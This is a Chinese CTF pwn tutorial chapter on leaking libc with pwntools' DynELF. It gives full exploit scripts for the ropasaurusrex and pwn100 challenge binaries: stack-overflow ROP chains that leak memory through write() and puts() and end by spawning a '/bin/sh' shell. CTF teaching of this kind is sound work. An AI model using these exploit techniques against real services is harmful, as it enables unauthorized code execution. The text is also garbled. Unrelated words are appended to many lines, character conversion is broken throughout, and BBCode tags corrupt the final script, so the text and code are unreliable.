CTF必備技能丨Linux Pwn入門教程——利用漏洞獲取libc

Linux Pwn入門教程系列分享如約而至,本套課程是做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。html

教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。python

課程回顧>>函數

Linux Pwn入門教程第一章:環境配置測試

Linux Pwn入門教程第二章:棧溢出基礎網站

Linux Pwn入門教程第三章:ShellCodedebug

Linux Pwn入門教程第四章:ROP技術(上)3d

Linux Pwn入門教程第四章:ROP技術(下)指針

Linux Pwn入門教程第五章:調整棧幀的技巧調試

今天i春秋與你們分享的是Linux Pwn入門教程第六章:利用漏洞獲取libc,閱讀用時約12分鐘。code

 

DynELF簡介

在前面幾篇文章中,爲了下降難度,不少經過調用庫函數system的題目咱們實際上都故意留了後門或者提供了目標系統的libc版本。不一樣版本的libc,函數首地址相對於文件開頭的偏移和函數間的偏移不必定一致。因此若是題目不提供libc,經過泄露任意一個庫函數地址計算出system函數地址的方法就很差使了。這就要求咱們想辦法獲取目標系統的libc。

關於遠程獲取libc,pwntools在早期版本就提供了一個解決方案——DynELF類。

DynELFl的官方文檔:

http://docs.pwntools.com/en/stable/dynelf.html

其具體的原理能夠參閱文檔和源碼,DynELF經過程序漏洞泄露出任意地址內容,結合ELF文件的結構特徵獲取對應版本文件並計算比對出目標符號在內存中的地址。DynELF類的使用方法以下:

io = remote(ip, port)
 
def leak(addr):
 payload2leak_addr = 「****」 + pack(addr) + 「****」
 io.send(payload2leak_addr)
 data = io.recv()
 return data
 
d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup(「system」, libc)

使用DynELF時,咱們須要使用一個leak函數做爲必選參數,指向ELF文件的指針或者使用ELF類加載的目標文件至少提供一個做爲可選參數,以初始化一個DynELF類的實例d。而後就能夠經過這個實例d的方法lookup來搜尋libc庫函數了。

其中,leak函數須要使用目標程序自己的漏洞泄露出由DynELF類傳入的int型參數addr對應的內存地址中的數據。且因爲DynELF會屢次調用leak函數,這個函數必須能任意次使用,即不能泄露幾個地址以後就致使程序崩潰。因爲須要泄露數據,payload中必然包含着打印函數,如write, puts, printf等,咱們根據這些函數的特色將其分紅兩部分分別進行講解。

DynELF的使用——write函數

咱們先來看比較簡單的write函數。write函數的特色在於其輸出徹底由其參數size決定,只要目標地址可讀,size填多少就輸出多少,不會受到諸如‘\0’, ‘\n’之類的字符影響。所以leak函數中對數據的讀取和處理較爲簡單。

咱們開始分析例子~/PlaidCTF 2013 ropasaurusrex/ropasaurusrex,這個32位程序的結構很是簡單,一個有棧溢出的read,一個write。沒有libc,got表裏沒有system,也沒有int 80h/syscall。

 

這種狀況下咱們就可使用DynELF來leaklibc,進而獲取system函數在內存中的地址。

首先咱們來構建一個能夠泄露任意地址的ROP鏈。經過測試咱們能夠知道棧溢出到EIP須要140個字節,所以咱們能夠構造一個payload以下:

elf = ELF(‘./ropasaurusrex’) #別忘了在腳本所在目錄下放一個程序文件ropasaurusrex
 
write_addr = elf.symbols['write']
 
payload = 「A」*140
payload += p32(write_addr)
payload += p32(0)
payload += p32(1)
payload += p32(0x08048000)
payload += p32(8)

使用payload打印出ELF文件在內存中的首地址0x08048000,write( )運行結束後返回的地址隨便填寫,編寫腳本後發現能夠正確輸出結果:

 

如今咱們須要讓這個payload能夠被重複使用。首先咱們須要改掉write函數返回的地址,以避免執行完write以後程序崩潰。那麼改爲什麼好呢?繼續改爲write是不行的,由於參數顯然沒辦法繼續傳遞。若是使用pop清除棧又會致使棧頂降低,多執行幾回就會耗盡棧空間。這裏咱們能夠把返回地址改爲start段的地址:

 

這段代碼是編譯器添加的,用於初始化程序的運行環境後,執行完相應的代碼後會跳轉到程序的入口函數main運行程序代碼。所以,在執行完write函數泄露數據後,咱們能夠返回到這裏刷新一遍程序的環境,至關因而從新執行了一遍程序。如今的payload封裝成leak函數以下:

def leak(addr):
 payload = ''
 payload += 'A'*140 #padding
 payload += p32(write_addr) #調用write
 payload += p32(start_addr) #write返回到start
 payload += p32(1) #write第一個參數fd
 payload += p32(addr) #write第二個參數buf
 payload += p32(8) #write第三個參數size
 io.sendline(payload)
 content = io.recv()[:8]
 print("%#x -> %s" %(addr, (content or '').encode('hex')))
 return content

咱們加了一行print輸出leak執行的狀態,用於debug。使用DynELF泄露system函數地址,顯示以下:

 

咱們能夠利用這個DynELF類的實例泄露read函數的真正內存地址,用於讀取「/bin/sh」字符串到內存中,以便於執行system(「/bin/sh」)。最終腳本以下:

#!/usr/bin/python
#coding:utf-8[/size][/align][align=left][size=3]
from pwn import *
 
io = remote('172.17.0.2', 10001)[/size][/align][align=left][size=3]
elf = ELF('./ropasaurusrex')
 
start_addr = 0x08048340
write_addr = elf.symbols['write']
binsh_addr = 0x08049000
 
def leak(addr):
 payload = ''
 payload += 'A'*140 #padding
 payload += p32(write_addr) #調用write
 payload += p32(start_addr) #write返回到start
 payload += p32(1) #write第一個參數fd
 payload += p32(addr) #write第二個參數buf
 payload += p32(8) #write第三個參數size
 io.sendline(payload)
 content = io.recv()[:8]
 print("%#x -> %s" %(addr, (content or '').encode('hex')))
 return content
 
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
read_addr = d.lookup('read', 'libc')
 
log.info("system_addr = %#x", system_addr)
log.info("read_addr = %#x", read_addr)
 
payload = ''
payload += 'A'*140 #padding
payload += p32(read_addr) #調用read
payload += p32(system_addr) #read返回到system
payload += p32(0) #read第一個參數fd/system返回地址,無心義
payload += p32(binsh_addr) #read第二個參數buf/system第一個參數
payload += p32(8) #read第三個參數size
 
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

 

DynELF的使用——其餘輸出函數

除了「好說話」的write函數以外,一些專門因爲處理字符串輸出的函數也常常出如今各種CTF pwn題目中,好比printf, puts等。這類函數的特色是會被特殊字符影響,所以存在輸出長度不固定的問題。咱們看一下例子~/LCTF 2016-pwn100/pwn100,其漏洞出如今sub_40068E( )中。

 

很明顯的棧溢出漏洞。

這個程序比較麻煩的一點在於它是個64位程序,且找不到能夠修改rdx的gadget,所以在這裏咱們就能夠用到以前的文章中提到的萬能gadgets進行函數調用。

首先咱們來構造一個leak函數。經過對代碼的分析咱們發現程序中能夠用來泄露信息的函數只有一個puts,已知棧溢出到rip須要72個字節,咱們很快就能夠寫出一個嘗試泄露的腳本:

from pwn import *
 
io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")
 
puts_addr = elf.plt['puts']
pop_rdi = 0x400763
 
payload = "A" *72
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(puts_addr)
payload = payload.ljust(200, "B")
io.send(payload)
print io.recv()

結果以下:

 

因爲實際上棧溢出漏洞須要執行完puts(「bye~」)以後纔會被觸發,輸出對應地址的數據,所以咱們須要去掉前面的字符,因此能夠寫leak函數以下:

start_addr = 0x400550
pop_rdi = 0x400763
puts_addr = elf.plt['puts']
 
def leak(addr):
 payload = "A" *72
 payload += p64(pop_rdi)
 payload += p64(addr)
 payload += p64(puts_addr)
 payload += p64(start_addr)
 payload = payload.ljust(200, "B")
 io.send(payload)
 content = io.recv()[5:]
 log.info("%#x => %s" % (addr, (content or '').encode('hex')))
 return content

咱們將其擴展成一個腳本並執行,卻發現leak出錯了。

 

經過查看輸出的leak結果咱們能夠發現有大量的地址輸出處理以後都是0x0a,即一個回車符。從Traceback上看,最根本緣由是讀取數據錯誤。這是由於puts( )的輸出是不受控的,做爲一個字符串輸出函數,它默認把字符'\x00'做爲字符串結尾,從而截斷了輸出。所以,咱們能夠根據上述博文修改leak函數:

def leak(addr):
 count = 0
 up = ''
 content = ''
 payload = 'A'*72 #padding
 payload += p64(pop_rdi) #給puts()賦值
 payload += p64(addr) #leak函數的參數addr
 payload += p64(puts_addr) #調用puts()函數
 payload += p64(start_addr) #跳轉到start,恢復棧
 payload = payload.ljust(200, 'B') #padding
 io.send(payload)
 io.recvuntil("bye~\n")
 while True: #無限循環讀取,防止recv()讀取輸出不全
 c = io.recv(numb=1, timeout=0.1) #每次讀取一個字節,設置超時時間確保沒有遺漏
 count += 1 
 if up == '\n' and c == "": #上一個字符是回車且讀不到其餘字符,說明讀完了
 content = content[:-1]+'\x00' #最後一個字符置爲\x00
 break
 else:
 content += c #拼接輸出
 up = c #保存最後一個字符
 content = content[:4] #截取輸出的一段做爲返回值,提供給DynELF處理
 log.info("%#x => %s" % (addr, (content or '').encode('hex')))
 return content

腳本所有內容位於~/LCTF2016-pwn100/exp.py,此處再也不贅述。

其餘獲取libc的方法

雖然DynELF是一個dump利器,可是有時候咱們也會碰到一些使人尷尬的意外狀況,好比寫不出來leak函數,下libc被牆等等。這一節咱們來介紹一些可行的解決方案。

首先要介紹的是libcdb.com,這是一個用來在線查詢libc版本的網站。

從它的界面咱們能夠看出來,這個網站的使用至關簡單,只須要咱們泄露出兩個函數的內存地址。只要程序存在能夠用來泄露內存的漏洞。不過尷尬的是libcdb.com裏好像搜不到咱們用的Ubuntu.17.04裏面的libc,因此在這裏就不作演示了。

第二個推薦的方法是在比賽中使用其餘題目的libc。若是一個題目沒法獲取到libc,一般能夠嘗試一下使用其餘題目獲取到的libc作題,有時候可能全部同平臺的題目都部署在同一個版本的系統中。

以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。

相關文章
相關標籤/搜索